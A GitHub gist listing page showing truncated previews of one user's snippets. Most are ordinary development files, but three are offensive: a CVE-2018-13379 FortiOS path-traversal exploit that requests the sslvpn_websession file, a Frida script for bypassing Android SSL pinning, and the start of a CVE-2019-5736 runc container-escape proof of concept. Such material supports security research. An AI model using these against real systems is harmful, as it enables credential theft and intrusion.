Skip to content

Instantly share code, notes, and snippets.

View code-machina's full-sized avatar
😌
Humble

GB Kim code-machina

😌
Humble
View GitHub Profile
@code-machina
code-machina / CVE-2018-13379.py
Last active May 29, 2023 03:33
CVE-2018-13379 : A path traversal vulnerability in the FortiOS SSL VPN web portal
import requests, binascii, optparse
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
import multiprocessing
def checkIP(ip):
try:
url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
@code-machina
code-machina / frida-android-repinning_sa-1.js
Created July 23, 2019 23:45
Bypass SSL Pinning using Frida
/*
Android SSL Re-pinning frida script v0.2 030417-pier
$ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt
$ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause
https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/
*/
setTimeout(function(){
@code-machina
code-machina / StudentdalApplicationTests.java
Last active October 31, 2020 06:03
Student Model Sample
package com.gbkim.student.dal;
import java.util.Optional;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
@code-machina
code-machina / specification.py
Created November 26, 2019 12:39 — forked from palankai/specification.py
Python Specification Pattern
class Specification:
def __and__(self, other):
return And(self, other)
def __or__(self, other):
return Or(self, other)
def __xor__(self, other):
return Xor(self, other)
@code-machina
code-machina / gist:b8de73c556f3554ad3779bf047221f19
Created November 25, 2019 00:20 — forked from yupmin/gist:4fb5d3eb0aeb4fd353cbc993a60be7b4
Install Laravel Valet with Phpstorm For Mac OSX

Laravel Valet 은 PHP or Laravel 개발하는데에 거의 필수 툴이 되어가는 듯 합니다. Laravel Valet 제대로 설치하시고 정신건강을 보존하시길 바랍니다.

좀 보강할 내용은 댓글로 남겨주세요.

"Web development that doesn't hurt"

On Mac OSX

0. 참고 링크

@code-machina
code-machina / .vimrc
Created November 13, 2019 22:02 — forked from simonista/.vimrc
A basic .vimrc file that will serve as a good template on which to build.
" Don't try to be vi compatible
set nocompatible
" Helps force plugins to load correctly when it is turned back on below
filetype off
" TODO: Load plugins here (pathogen or vundle)
" Turn on syntax highlighting
syntax on
@code-machina
code-machina / FeaturefulTableComp.vue
Created August 31, 2019 07:01
코마의 featureful Table 샘플 (VUe.js)
<!--
filename: FeaturefulTableComp.vue
writer: code-machina
// IoC 컨테이너 용 설정
depends on: {
'scss': [
'@/static/scss/Table.scss',
// 생략
],
'js' : [
@code-machina
code-machina / docker-compose-init.yml
Created August 27, 2019 10:35
도커 컴포저를 이용한 Replica Set 간편 구성 (샘플1)
version: '3.7'
services:
anguis1:
image: mongo:4.1
hostname: anguis1
container_name: anguis1
networks:
- mongo-bridge
ports:
@code-machina
code-machina / Vagrantfile
Created August 8, 2019 03:59
Vagrantfile for booting docker swarm and workers on windows 10
BOX_IMAGE = "ubuntu/xenial64"
WORKER_COUNT = 0 # U can specify the number of workers.
MANAGER_IP_ADDRESS = "192.168.100.10" # Also, can chagne the subnet network
Vagrant.configure("2") do |config|
config.vm.box = BOX_IMAGE
config.vm.define "manager" do |subconfig|
subconfig.vm.box = BOX_IMAGE
@code-machina
code-machina / poc.go
Created August 5, 2019 22:00
CVE-2019-5736
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"